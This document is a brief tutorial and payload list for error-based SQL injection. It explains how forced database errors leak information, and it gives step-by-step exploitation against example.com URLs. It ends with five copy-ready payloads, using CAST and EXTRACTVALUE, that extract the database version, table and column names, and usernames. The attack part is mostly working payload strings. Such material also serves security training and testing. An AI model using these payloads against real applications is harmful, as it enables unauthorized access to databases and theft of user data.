Error-Based SQL Injection

Note: Try make error , this is m display

What is Error-Based SQL Injection?

Error-Based SQL Injection relies on forcing the database to throw errors that reveal sensitive information. These errors can expose database structure, table names, column names, or even data.

How it works:

• The attacker forces the database to generate an error message that contains sensitive information (e.g., database version, table names, or data).
• The data is displayed in the error message returned by the application.

Key Point:

• The attacker relies on error messages to extract data. If the application does not display detailed errors, this technique may not work.

Steps to Exploit Error-Based SQL Injection

1. Identify the Vulnerability:

   • Input a single quote (') or other special characters to see if the application throws an SQL error.

   • Example: If vulnerable, the application might return an error like:

     <http://example.com/products?id=1>'
     
     

     You have an error in your SQL syntax; check the manual near ''' at line 1
     
     

2. Force Errors to Extract Information:

   • Use SQL functions like CAST(), CONVERT(), or EXTRACTVALUE() to generate errors containing useful information.

   • Example: Extract the database version: If successful, the error message might reveal the database version.

     <http://example.com/products?id=1>' AND 1=CAST((SELECT version()) AS INT)--
     
     

3. Extract Table and Column Names:

   • Use the information_schema database to extract table and column names.

   • Example: Extract the first table name:

     <http://example.com/products?id=1> AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)--
     
     

Error-Based SQL Injection Payloads

Here are some example payloads for Error-Based SQL Injection:

1. Extract Database Version:

   AND 1=CAST((SELECT version()) AS INT)--
   
   

2. Extract Table Names:

   AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)--
   
   

3. Extract Column Names:

   AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS INT)--
   
   

4. Extract Data:

   AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT)--
   
   

5. Using EXTRACTVALUE for XML Errors:

   AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT version())))--